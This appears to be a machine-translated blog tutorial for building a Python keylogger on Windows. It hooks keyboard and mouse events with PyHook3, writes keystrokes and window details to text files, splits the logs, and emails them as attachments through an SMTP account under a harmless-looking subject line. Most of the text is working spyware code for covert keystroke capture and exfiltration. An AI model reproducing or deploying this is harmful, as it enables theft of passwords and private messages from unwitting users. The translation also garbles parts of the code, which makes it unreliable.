A. The environment and tools
Environment: win10, Python3.6
Tools: JetBrains PyCharm 2018.1.4
Second, the use of third-party libraries:
import os import smtplib # Send e-mail import time import threading Copy the code import email
The following is mainly used to monitor these three libraries:
import PyHook3 import pythoncom Copy the code from past.builtins import xrange
If the environment does not own the above third-party libraries, can be illustrated as follows with reference to a method of introducing, on their own or Google
III. Realize monitor keyboard, mouse actions
Use PyHook3, pythoncom library monitor keyboard, mouse events
# Create monitor objects manager = PyHook3.HookManager() # Monitor all keyboard events manager.KeyDown = on_keyboard_event # Set keyboard monitor manager.HookKeyboard() # Cycle monitor, if not manually turned off, the program has been in a listening state pythoncom.PumpMessages () to copy the code
on_keyboard_event print function is used to monitor information
def on_keyboard_event(event): """ Listen for keyboard events :param event: : Return: with the mouse listener event return value """ print('================== start listening keyboard ====================') print('MessageName: ', event.MessageName) print('Message: ', event.Message) print('Time: ', event.Time) print('Window: ', event.Window) print('Ascii: ', event.Ascii, chr(event.Ascii)) print('Key: ', event.Key) print('KeyID: ', event.KeyID) print('ScanCode: ', event.ScanCode) print('Extended: ', event.Extended) print('Injected: ', event.Injected) print ( 'Everything', event.Alt) print('Transition: ', event.Transition) print('================== start listening keyboard ====================') return True Copy the code
Returns "True", for continuous monitor, mouse and monitor to achieve similar monitor keyboard.
IV. The monitor information is written to the file
Will be printed on the console keyboard monitor information is written to the current directory txt file
def on_keyboard_event(event): """ The keyboard monitor information written to the file :param event: :return: """ with open('./keyboard.txt', 'a+') as f: f.write( 'Event:' + event.MessageName + ', time:' + format_time () + ', the window information:' + Str (event.Window) + ', keys:' + event.Key + ', the key ID:' + str (event.KeyID) + '\ r \ n') return True Copy the code
V. segmentation monitor information file
According to split the file contents, rather than by file size. Since when the file size is divided according to Part connected will be split into two files.
def split_file(self): """ Divided according to the number of rows content :return: """ with open(self.fileName + '.txt', 'r') as f: global index while 1: index += 1 try: with open(self.fileName + '_%d.txt' % index, 'w') as temp: for _ in xrange(self.Size): temp.write(f.__next__()) except StopIteration: break def timer_split_file(self): """ More than a specified number of rows division :return: """ with open(self.fileName + '.txt', 'r') as f: lines = f.readlines() if lines.__len__() > self.Size: self.split_file () to copy the code
VI. The monitor information sent to the specified mailbox
E-mail to send messages to each other using the send listening information, it is necessary to open the sender's mailbox POP3 / SMTP services. Monitor information file sent as an attachment. If opened the POP3 / SMTP service, and the recipients do not see the message, you may e-mail the recipient's mailbox trash.
@staticmethod def send_email(): host = 'smtp.163.com' # Set mail server user = 'svip*****@163.com' # sender password = 'smt ***** 1' # client authorization password sender = 'svip******@163.com' # sent anonymously receiver = [ '1341****[email protected]'] # receive messages # Mail construction objects msg = MIMEMultipart('alternative') msg['From'] = sender msg['To'] = ";".join(receiver) msg['Subject'] = Header('Have a nice day,How are you?', 'utf-8') msg['Message-id'] = make_msgid() msg['Date'] = formatdate() message = MIMEText('this is today content', 'plain', 'utf-8') msg.attach(message) # Construct attachment object, send mouse listener information if index != 0: for num in range(1, index + 1): mouse_file_name = './mouse_' + str(num) + '.txt' mouse_file = open(mouse_file_name, 'rb').read() mouse_send = MIMEText(mouse_file, 'base64', 'utf-8') mouse_send['Content-Type'] = 'application/octet-stream' mouse_send['Content-Disposition'] = 'attachment;filename=' + mouse_file_name msg.attach(mouse_send) # Send information keyboard monitor key_file = open('./keyboard.txt', 'rb').read() key_send = MIMEText(key_file, 'base64', 'utf-8') key_send['Content-Type'] = 'application/octet-stream' key_send['Content-Disposition'] = 'attachment;filename=keyboard.txt' msg.attach(key_send) # send email try: mail = smtplib.SMTP_SSL(host, 465) mail.login(user, password) mail.sendmail(sender, receiver, msg.as_string()) mail.quit() except smtplib.SMTPException: # Abnormality information is not captured Copy the code pass
七. bug and solve
Warning 01:
This inspection detects any methods which may safely be made static.
Solution 01:
In the method of the above plus: @staticmethod
Error 02:
TypeError: main() missing 1 required positional argument: 'self'
Solution 02:
Examples of the first class, then use the class
eg
listening = Listening()
listening.main()
Error 03:
TypeError: 'float' object is not callable
Solution 03:
Variable name and method name conflict, or conflict with the keyword
Error 04:
email.errors.MultipartConversionError:Cannot attach additional subparts to non-multipart/*
Solution 04:
Do not create an instance with attachments
eg
msg = MIMEMultipart('mixed')
Error 05:
When using smtp.qq.com send a message: Connection unexpectedly closed
Solution 05:
The sender does not open the mailbox POP3 / SMTP service
eg
Error 06:
smtplib.SMTPHeloError: (500, b'Error: bad syntax')